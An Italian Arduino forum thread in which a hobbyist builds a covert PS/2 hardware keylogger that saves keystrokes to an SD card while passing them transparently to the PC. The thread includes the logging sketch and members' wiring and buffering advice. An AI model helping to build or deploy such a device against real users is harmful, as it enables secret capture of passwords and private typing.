Creare keylogger con Arduino Uno

Ciao a tutti, girando per il forum di arduino ho visto un post di un ragazzo che voleza realizzare un keylogger però il topic non è stato risolto.. Allora visto che non sapevo cosa realizzare con Arduino ho deciso di cimentarmici.. In pratica vorrei memorizzare su sd i caratteri premuti da tastiera e nello stesso tempo inviare i dati della tastiera la pc come se niente fosse. Sono riuscito a collegare la tastiera e la sd ad arduino e a scrivere sull scheda, il problema è che quando sdoppio il segnale della tastiera per inviarlo al pc smette di funzionare, precisamente quando eseguo lo sdoppio del pin del clock.. Avete qualche idea? E' sbagliato il modo in cui ho pensato di realizzarlo? E' fattibile come progetto? Grazie a tutti

1 Like

quale e' il post a cui ti riferisci ?

http://forum.arduino.cc/index.php/topic,193640.0.html

Premetto che non ho ben capito come volesse realizzarlo, però l'idea mi è nata da questo

Ci fai vedere il Tuo codice? Ciao Uwe

Eccolo:

#include <PS2Keyboard.h>
#include <SD.h>
#include "PS2Keyboard.h"

#define DATA_PIN 2                                                             //define data pin of the kayboard

PS2Keyboard keyboard;
File myFile;                                                                              // variable required to hold the file descriptor
const int chipSelect = 10;                                                     // the pin number which is need to write on SD card
byte dat;
char c;

void setup()
{
  pinMode(10, OUTPUT);     
  Serial.begin(9600);                                                        // initialize the serial port at baud rate 9600
  Serial.print("Initializing SD card...");                                  


  while(!SD.begin(chipSelect));                                              // initialize the SD card
  Serial.println("card initialized."); 

  keyboard.begin(DATA_PIN);                                                   // initialize the PS2 keyboard
  Serial.println("keyboard initialized.");   

}

void loop()
{
  if(keyboard.available())
  {
    dat = keyboard.read();
    c = dat;   

      while(!(myFile = SD.open("new.txt", FILE_WRITE)));                         // open a file for writing
    myFile.print(c);                                                                                            // write the string into the file
    myFile.close();       
    
    Serial.println(c);
  }  
  else;
}

Il problema è quello di inviare i dati al pc… Quindi forse non è possibile sdoppiare il segnale, per questo motivo ho pensato una cosa… Si potrebbe usare ciò che ricevo nel DATA PIN per scrivere su Sd e poi farlo uscire inalterato come output da un altro PIN e collegarlo al pc per farci arrivare i dati della tastiera?

Non puoi includere 2 volte la stessa libreria. Non ha senso aprire, scrivere e chiudere er ogni byte il file sulla Sd scrivi i dati in un buffer e scrivi il buffer sulla SD.

Perché non puoi sdoppiare il segnale che la tstiera manda al PC? Ciao Uwe

PerIl problema della libreria hai ragione, non ci ho proprio fatto caso,

Per quanto riguarda la memorizzazione dei dati cosa potrei fare? Cosa ne dici di mettere nel loop un for in cui riempio una stringa e la memorizzo sulla Sd? Oppure hai altre idee?

Invece parlando del segnale il problema è più grande, praticamente quanto divido il segnale e collego i due cavi hai rispettivi arduino e pc smette di funzionare tutto, ovvero, la tastiera non viene più vista dal pc e ad arduino non scrive più caratteri normali ma ad ogni tasto premuto scrive un paio di caratteri speciali.. Comunque di sicuro non scrive il tasto che premo... Ho collegato un ingresso usb al pc a cui ho stagnato 4 fili.. Quando ho collegato il GND della tastiera al pc ed ad arduino va tutto bene, il VCC è collegata solo al pc perché non credo arduino riesca ad alimentare la tastiera, quando collego la DATA a tutti e due non ci sono problemi.. Invece quando collego il CLCK a entrambi succede quello che ho descritto.. Premetto che con il CLCK collegato SOLO ad arduino la tastiera fa quello che deve fare, stessa cosa se collego il CLCK SOLO al pc..

Se può servire potei allegare una foto che mostra come ho effettuato i collegamenti

Ho collegato un ingresso usb al pc a cui ho stagnato 4 fili.. Quando ho collegato il GND della tastiera al pc ed ad arduino va tutto bene, il VCC è collegata solo al pc perché non credo arduino riesca ad alimentare la tastiera, quando collego la DATA a tutti e due non ci sono problemi.. Invece quando collego il CLCK a entrambi succede quello che ho descritto.. Premetto che con il CLCK collegato SOLO ad arduino la tastiera fa quello che deve fare, stessa cosa se collego il CLCK SOLO al pc..

Qua stiamo parlando di tastiera e interfaccia PS2 e non USB!

Ciao Uwe

Ho fatto questo collegamenti perché non avevo adattori ps2, è un problema ?

Ho capito… Non è che devo riscrivere il codice con la libreria della usb? Perché in realtà io volevao realizzare il progetto con La tastiera ps2 solo che non ne ho una in casual momento per fare i test…

image.jpg

spetta tu stai usando una porta usb sul PC ? Il protocollo USB non prevede che tu possa mettere in parallelo due periferiche, mentre il protocollo PS2 si quindi puoi fare quello che intendi fare solo usando una porta PS2 sul pc, il tuo PC ha una porta PS2 ?

Sul portatile in cui sto progammando non ce l’ho, ma ho anche un fisso con la porta ps2… Quindi se il problema è quello ho praticamente già risolto, o sbaglio?

yes, ti serve solo fisicamente la porta PS2, la certezza deriva dal fatto che hai gia' usato questa tastiera su arduino e funziona, quindi vuol dire che internamente e' multiprotocollo.

Perfetto grazie mille, allora appena recupero una tastiera ps2 vi faccio sapere se va tutto e bene o se ho bisogno d'aiuto, ancora grazie

Per quanto riguarda la memorizzazione dei caratteri.. Come potrei fare senza aprire e chiudere il file per l'aggiunta di ogni singolo carattere?

fedemengo: Ho fatto questo collegamenti perché non avevo adattori ps2, è un problema ?

Ho capito... Non è che devo riscrivere il codice con la libreria della usb? Perché in realtà io volevao realizzare il progetto con La tastiera ps2 solo che non ne ho una in casual momento per fare i test...

Quel adattatore é solo meccanico. È la tastiera che comuta a secondo a quale porta la collegi alla interfaccia PS2 oppure USB. Non puoi usare quell' adattatore per trasmettere dati da un arduino UNO [EDIT] alla USB [/EDIT]. Puoi usare un Arduino Leonardo e emulare una tastiera [EDIT] USB [/EDIT] .

Come potrei fare senza aprire e chiudere il file per l'aggiunta di ogni singolo carattere?

Crea un array per esempio 50 caratteri e memorizza i caratteri in quello. Se é peno lo scrivi in blocco sulla SD.

Ciao Uwe

Fede non ti serve una tastiera ps2, va benissimo la tua USB e vanno bene i collegamenti fatti, solo che invece di entrare in una porta USB del PC devi entrare in una porta ps2 del pc

In ogni caso la tastiera ps2 l'ho trovata... Allora oggi provo quello che già ho creato però al posto della usb lo collego al ps2 del fisso..

Per Uwe, volevo sapere, se per esempio l'arraynon si rimpie come posso fare a memorizzarlo? Avevo pensato di riempirlo con un for.. Potrei mettere un delay collegato ad un break per uscire dal for e memorizzare ciò che ho scritto anche se l'array non è pieno?

Potresti monitorare il carriage return e quindi memorizzare e svuotare l array ad ogni parola

Ah si, non ci avevo pensato... Per caso c'è un codice di colori per i fili della tastiera ps2? Perché ho recuperato un filo che mi serve per fare il collegamento alla femmina del pc solo che non so quali fili corrispondono a cosa

i cinesi usano colori a caso, usa il tester per identificare i pin

È passato un po' di tempo perché ero davvero impegnato, sono riuscito a mettermi di nuovo al lavoro e devo dire che ci sono riuscito... Ho rimasto solo un problema, ovvero se attivo il caps lock si impalla tutto e i dati inviati ad arduino non corrispondono più con i caratteri scritti, idee?